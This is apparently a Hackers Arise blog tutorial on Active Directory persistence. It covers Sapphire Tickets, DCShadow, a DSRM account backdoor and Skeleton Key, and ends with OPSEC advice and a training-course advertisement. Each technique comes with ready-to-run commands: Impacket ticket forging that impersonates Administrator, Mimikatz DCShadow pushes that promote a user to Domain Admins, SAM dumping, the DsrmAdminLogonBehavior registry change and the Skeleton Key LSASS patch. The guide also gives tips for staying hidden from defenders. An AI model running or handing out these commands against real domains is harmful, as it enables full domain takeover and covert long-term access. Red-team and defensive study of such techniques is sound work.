A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.

Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.

Here is an example using Impacket.

kali > python3 ticketer.py -request -domain domain.local -user lowpriv -password 'P@ssw0rd123' -aesKey <KRBTGT_AES256> -domain-sid S-1-5-21-XXXXXXXX -impersonate Administrator domain.local

Tickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.

Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.

DCShadow

DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.

The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.

This attack requires Domain Admin privileges.

For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.

First we elevate the shell with PsExec.

PS > .\PsExec.exe \\delivery -u sekvoya.local\service_adm -p P@ssw0rd123! -s powershell

Next we run Mimikatz and modify the target account.

PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=sekvoya,DC=local /attribute:primaryGroupID /value:512" "exit"

This prepares the modification that will promote the user into Domain Admin privileges.

Then, from the second administrative window, we push the changes.

PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /push" "exit"

Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.

Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.

DSRM Account Backdoor

Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.

This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.

First, we connect to the Domain Controller and dump the local SAM database.

PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

This gives us the local Administrator hash associated with the DSRM account.

Next we enable network logon functionality for the DSRM account.

PS > reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

After modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.

Skeleton Key

Skeleton Key is another classic but still interesting persistence technique.

Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.

By default, the password used by Mimikatz for Skeleton Key is mimikatz.

Here is the command:

PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'

The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.

Other Persistence Methods

There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.

Hackers don’t rely on one method. They layer persistence strategically.

OPSEC

Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.

Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.

APT Case Studies

The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.

Summary

Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.

Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.

If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.

The post Advanced Persistence: A Complete Guide on Persistence first appeared on Hackers Arise.